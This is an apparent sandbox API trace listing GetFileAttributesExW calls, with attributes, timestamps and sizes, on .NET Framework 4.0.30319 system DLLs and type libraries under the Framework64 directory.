	[0088.415] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Data.SqlXml.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.data.sqlxml.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4508 | out: lpFileInformation=0x126c4508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x66786f80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb3ac8)) returned 1
	[0088.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.data.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4558 | out: lpFileInformation=0x126c4558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x66251f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x33d0b0)) returned 1
	[0088.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Deployment.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.deployment.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c45a8 | out: lpFileInformation=0x126c45a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6681f500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xceac0)) returned 1
	[0088.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Design.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c45f8 | out: lpFileInformation=0x126c45f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x66c49b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4c74a8)) returned 1
	[0088.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Device.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.device.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4648 | out: lpFileInformation=0x126c4648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x671a4d00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xfab8)) returned 1
	[0088.418] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Diagnostics.Contracts.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.diagnostics.contracts.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4698 | out: lpFileInformation=0x126c4698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62232ec0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7500)) returned 1
	[0088.418] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Diagnostics.Debug.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.diagnostics.debug.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c46e8 | out: lpFileInformation=0x126c46e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6227f180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e8)) returned 1
	[0088.418] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Diagnostics.Tools.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.diagnostics.tools.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4738 | out: lpFileInformation=0x126c4738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x622cb440, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e8)) returned 1
	[0088.419] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Diagnostics.Tracing.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.diagnostics.tracing.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4788 | out: lpFileInformation=0x126c4788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x622f15a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74f8)) returned 1
	[0088.419] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.DirectoryServices.AccountManagement.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.directoryservices.accountmanagement.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c47d8 | out: lpFileInformation=0x126c47d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6233d860, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x47f30)) returned 1
	[0088.419] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.DirectoryServices.Protocols.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.directoryservices.protocols.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4828 | out: lpFileInformation=0x126c4828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x672af6a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x31328)) returned 1
	[0088.420] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.DirectoryServices.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.directoryservices.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4878 | out: lpFileInformation=0x126c4878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67217120, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x670e8)) returned 1
	[0088.420] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Drawing.Design.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.drawing.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c48c8 | out: lpFileInformation=0x126c48c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x679151c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1b8d8)) returned 1
	[0088.420] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Drawing.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.drawing.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4918 | out: lpFileInformation=0x126c4918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x679f9a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x912b0)) returned 1
	[0088.420] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Drawing.tlb" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.drawing.tlb"), fInfoLevelId=0x0, lpFileInformation=0x126c4968 | out: lpFileInformation=0x126c4968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23c9e00, ftCreationTime.dwHighDateTime=0x1d0aa81, ftLastAccessTime.dwLowDateTime=0x67b767c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xc23c9e00, ftLastWriteTime.dwHighDateTime=0x1d0aa81, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0088.421] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Dynamic.Runtime.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.dynamic.runtime.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c49b8 | out: lpFileInformation=0x126c49b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x623afc80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74e0)) returned 1
	[0088.421] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Dynamic.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.dynamic.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4a08 | out: lpFileInformation=0x126c4a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62389b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1feb0)) returned 1
	[0088.421] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.EnterpriseServices.Thunk.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.enterpriseservices.thunk.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4a58 | out: lpFileInformation=0x126c4a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x67db1c60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x19d00)) returned 1
	[0088.422] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.EnterpriseServices.Wrapper.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.enterpriseservices.wrapper.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4aa8 | out: lpFileInformation=0x126c4aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec42400, ftCreationTime.dwHighDateTime=0x1d0aa7e, ftLastAccessTime.dwLowDateTime=0x67dfdf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x9ec42400, ftLastWriteTime.dwHighDateTime=0x1d0aa7e, nFileSizeHigh=0x0, nFileSizeLow=0x1e800)) returned 1
	[0088.422] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.EnterpriseServices.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.enterpriseservices.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4af8 | out: lpFileInformation=0x126c4af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x67c34ea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x3a6e8)) returned 1
	[0088.422] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.EnterpriseServices.tlb" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.enterpriseservices.tlb"), fInfoLevelId=0x0, lpFileInformation=0x126c4b48 | out: lpFileInformation=0x126c4b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a865300, ftCreationTime.dwHighDateTime=0x1d0aa81, ftLastAccessTime.dwLowDateTime=0x67dfdf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5a865300, ftLastWriteTime.dwHighDateTime=0x1d0aa81, nFileSizeHigh=0x0, nFileSizeLow=0x8200)) returned 1
	[0088.422] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Globalization.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.globalization.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4b98 | out: lpFileInformation=0x126c4b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x623fbf40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d0)) returned 1
	[0088.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.IO.Compression.FileSystem.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.io.compression.filesystem.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4be8 | out: lpFileInformation=0x126c4be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67e964a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7100)) returned 1
	[0088.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.IO.Compression.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.io.compression.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4c38 | out: lpFileInformation=0x126c4c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67e4a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x118d8)) returned 1
	[0088.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.IO.Log.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.io.log.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4c88 | out: lpFileInformation=0x126c4c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x628265c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x208b8)) returned 1
	[0088.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.IO.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.io.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4cd8 | out: lpFileInformation=0x126c4cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62800460, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7090)) returned 1
	[0088.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.IdentityModel.Selectors.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.identitymodel.selectors.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4d28 | out: lpFileInformation=0x126c4d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x626836a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x23710)) returned 1
	[0088.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.IdentityModel.Services.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.identitymodel.services.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4d78 | out: lpFileInformation=0x126c4d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62767ee0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x306f8)) returned 1
	[0088.424] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.IdentityModel.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.identitymodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4dc8 | out: lpFileInformation=0x126c4dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x625c4fc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x104ed0)) returned 1
	[0088.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Linq.Expressions.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.linq.expressions.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4e18 | out: lpFileInformation=0x126c4e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62930f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7ae8)) returned 1
	[0088.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Linq.Parallel.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.linq.parallel.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4e68 | out: lpFileInformation=0x126c4e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x629a3380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d0)) returned 1
	[0088.425] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Linq.Queryable.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.linq.queryable.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4eb8 | out: lpFileInformation=0x126c4eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x629ef640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d8)) returned 1
	[0088.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Linq.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.linq.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4f08 | out: lpFileInformation=0x126c4f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x628989e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72a0)) returned 1
	[0088.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Management.Instrumentation.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.management.instrumentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4f58 | out: lpFileInformation=0x126c4f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62a87bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x23708)) returned 1
	[0088.426] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Management.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.management.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4fa8 | out: lpFileInformation=0x126c4fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67fed100, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x646c0)) returned 1
	[0088.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Messaging.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.messaging.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c4ff8 | out: lpFileInformation=0x126c4ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x680d1940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x428b8)) returned 1
	[0088.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Net.Http.Rtc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.net.http.rtc.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5048 | out: lpFileInformation=0x126c5048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62b6c400, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d0)) returned 1
	[0088.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Net.Http.WebRequest.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.net.http.webrequest.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c5098 | out: lpFileInformation=0x126c5098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x68143d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xc6f8)) returned 1
	[0088.427] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\System.Net.Http.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\system.net.http.dll"), fInfoLevelId=0x0, lpFileInformation=0x126c50e8 | out: lpFileInformation=0x126c50e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x680f7aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x30eb8)) returned 1
